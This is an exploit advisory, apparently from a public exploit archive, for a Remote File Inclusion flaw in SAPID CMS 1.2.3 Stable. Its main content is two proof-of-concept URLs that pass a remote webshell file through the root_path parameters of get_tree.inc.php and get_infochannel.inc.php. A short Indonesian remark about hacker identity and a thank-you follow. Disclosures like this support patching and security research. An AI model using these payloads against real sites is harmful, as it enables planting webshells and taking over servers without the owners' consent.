SAPID 1.2.3 Stable – Remote File Inclusion
# Exploit Title: SAPID Stable (RFI) # Google Dork: tanyakan pada dan pemula :D # Date: January 08 2011 # Author: Opa Yong # Software Link: http://sourceforge.net/projects/sapid/files/sapid-cms/ # Version: SAPID 1.2.3 Stable # Tested on: Windows XP Home Edition SP2 @POC: http://127.0.1/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[webshell.txt?] @POC: http://127.0.1/usr/extensions/get_infochannel.inc.php?root_path=[webshell.txt?] Pesan: Jangan pernah mengaku diri anda hacker,lebih baik orang yg di sekitar anda yg mengaku anda itu adalah hacker. Special thanks for Dan Pemula |